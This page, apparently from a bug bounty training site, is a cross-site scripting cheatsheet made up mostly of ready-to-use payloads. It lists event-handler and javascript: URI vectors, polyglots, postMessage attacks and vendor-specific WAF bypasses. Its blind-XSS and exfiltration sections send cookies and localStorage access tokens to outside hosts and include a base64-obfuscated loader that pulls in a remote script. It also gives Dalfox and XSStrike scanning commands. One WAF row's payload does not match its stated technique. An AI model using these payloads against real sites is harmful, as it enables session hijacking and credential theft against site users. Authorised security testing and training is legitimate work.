XSS Cheatsheet
Cross-Site Scripting
Quick reference
- →Always try <svg onload=alert(1)> as your first vector — it works in most contexts
- →If alert() is blocked in cross-origin iframes (Chrome 92+), use print() instead
- →Event handlers like onfocus+autofocus require no user interaction
- →For blind XSS, inject payloads into fields admins may see: support tickets, contact forms, user-agent
- →Always try payloads without event handlers using the javascript: URI in href, action and formaction
Basic payloads
Classic script
'"><script>alert(document.cookie)</script>
IMG onerror
"><img src=1 onerror="alert('XSS')">SVG onload
<svg onload=alert(document.domain)>
Iframe srcdoc
<iframe srcdoc='<script>alert(1)</script>'>
Input autofocus
<input onfocus=alert(1) autofocus>
Details ontoggle
<details open ontoggle=alert(1)>
Body onload
<body onload=alert(1)>
Marquee onstart
<marquee onstart=alert(1)>
Interaction-free event handlers
Universal autofocusAlmost every element supports autofocus in modern browsers
<xss onfocus=alert(1) autofocus tabindex=1>
Video onerror
<video src=x onerror=alert(1)>
Audio onerror
<audio src=x onerror=alert(1)>
Transition event without styleChrome applies a default outline to focusable elements
<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>
Object data
<object data=javascript:alert(1)>
SVG use with data URI
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
No event handlers (javascript: URI)
Anchor href
<a href=javascript:alert(1)>click
Form action
<form action=javascript:alert(1)><input type=submit>
Button formaction
<form><button formaction=javascript:alert(1)>click
Math href
<math><brute href=javascript:alert(1)>click
Encoded iframe srcdoc
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
SVG xlink:href
<svg><script xlink:href=data:,alert(1)></script>
Blind XSS
External script (xss.report)
"><script src=https://your.xss.report/payload></script>
IMG cookie fetch
"><img src=x onerror="fetch('https://your.xss.report/?c='+document.cookie)">Base64 evalPayload base64-encoded inside the id attribute
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
JS.rip callback
"><script src="https://js.rip/l5j9hbki0b"></script>
Polyglots
Universal polyglot
jaVasCript:/*-/*`/*\'`/*"/**/(/* */oNcliCk=alert() )//%%0teleD/teleD/oN/teleN/on/teleN/on/oN/teleN/teleD//on//%0e%0e%0e%0e//oN\teleN\oN\
Multiple context break-out
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
Script and style escape
'"--></style></script><script>alert(1)</script>
Polyglot click/alert
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
Multi-context
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
DOM XSS and advanced techniques
postMessage innerHTMLWhen the handler uses innerHTML with unsanitized e.data
<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">Swagger-UI DOM XSSSwagger UI accepts configUrl/url as a parameter
?configUrl=https://attacker.surge.sh/test.json
Cookie exfiltration via fetch
<script>fetch('https://attacker.com/?c='+document.cookie)</script>localStorage exfiltration
<script>new Image().src='https://attacker.com/?t='+localStorage.getItem('access_token');</script>Parenthesis-free functions (tagged template)Chrome 92+ blocks alert in cross-domain iframes; use print() instead
alert`1337`
Sort call without parentheses
[].sort.call`${alert}1337`WAF bypass
| WAF | Técnica | Payload |
|---|---|---|
Cloudflare | HTML entities in SVG | <svg onload=alert(1)> |
Imperva Incapsula | Tab in attribute + unicode | "><style/onload co\u006efirm()></style> |
Akamai | Unicode escape in handler | <img src=x onerror=\u0061lert(1)> |
ModSecurity | Null byte insertion | <img src=x onerror=alert(1)%00> |
F5 Big IP | onwheel event | <body style="height:1000px" onwheel="alert(1)"> |
Generic | Base64 + atob with backticks | <img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`> |
Tools
Dalfox
Automated XSS scanner with blind XSS support and WAF bypasses
dalfox url "https://target.com/?q=test" --blind https://your.xss.report
XSStrike
Advanced XSS fuzzer with context analysis and payload generation
python3 xsstrike.py -u "https://target.com/?q=test" --crawl
kxss
Filters URLs with reflected parameters potentially vulnerable to XSS
echo "https://target.com" | gau | kxss
DOM Invader
Burp extension to detect DOM XSS, postMessage and prototype pollution
Activar en Burp Suite > Embedded Browser > DOM Invader
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labs- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime